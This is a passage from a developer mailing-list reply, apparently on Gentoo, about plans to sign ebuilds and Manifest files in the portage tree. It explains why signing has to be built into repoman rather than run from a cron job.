implement something in a hurry is a very wise choice.

Also, signing things on the server isn't as easy as folks have made it out
to be.  A simple cron'd find command isn't going to cut it.  Every time a
dev commits something to CVS, a new signature for that file has to be
generated immediately.  Otherwise, 30 minutes later, you're going to have
problems when those changes make their way out to the rsync tree.  Thus,
it's going to have to be integrated into repoman which means changes to
portage.

> So, I'm quite happy that there are experimental features in portage that
> deal with this, but I'd be even happier if every Manifest file in the
> portage tree was signed, even if portage code didn't do the checks yet.

Signing of ebuilds is coming.  The foundation is being laid and, once that
is stabilized, the push to get all devs to sign their ebuilds will
commence.  

--kurt

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]